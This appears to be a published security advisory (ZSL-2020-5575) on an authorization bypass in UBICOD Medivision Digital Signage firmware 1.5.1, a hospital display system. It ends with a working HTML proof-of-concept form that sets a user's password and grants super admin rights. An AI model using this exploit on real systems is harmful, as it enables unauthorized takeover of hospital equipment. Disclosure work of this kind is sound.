UBICOD Medivision Digital Signage 1.5.1 – Authorization Bypass
# Title: UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass # Date: 2020-07-23 # Author: LiquidWorm # Product web page: http://www.medivision.co.kr # CVE: N/A Vendor: UBICOD Co., Ltd. | MEDIVISION INC. Product web page: http://www.medivision.co.kr Affected version: Firmware 1.5.1 (2013.01.3) Summary: Medivision is a service that provides everything from DID operation to development of DID (Digital Information Display) optimized for hospital environment and production of professional contents, through DID product installation, image, video content planning, design work, and remote control. This is a one-stop solution that solves management at once. Desc: The application suffers from a privilege escalation vulnerability. Normal user can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super admin rights. Tested on: Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.22 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5575 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php 19.06.2020 -- <html> <body> <form action="http://10.0.39.2/query/user/itSet" method="POST"> <input type="hidden" name="aa[_id]" value="157" /> <input type="hidden" name="aa[pass]" value="123456" /> <input type="hidden" name="od[]" value="name" /> <input type="hidden" name="ft[grp]" value="3" /> <input type="hidden" name="ip" value="0" /> <input type="hidden" name="np" value="13" /> <input type="submit" value="Submit request" /> </form> </body> </html> |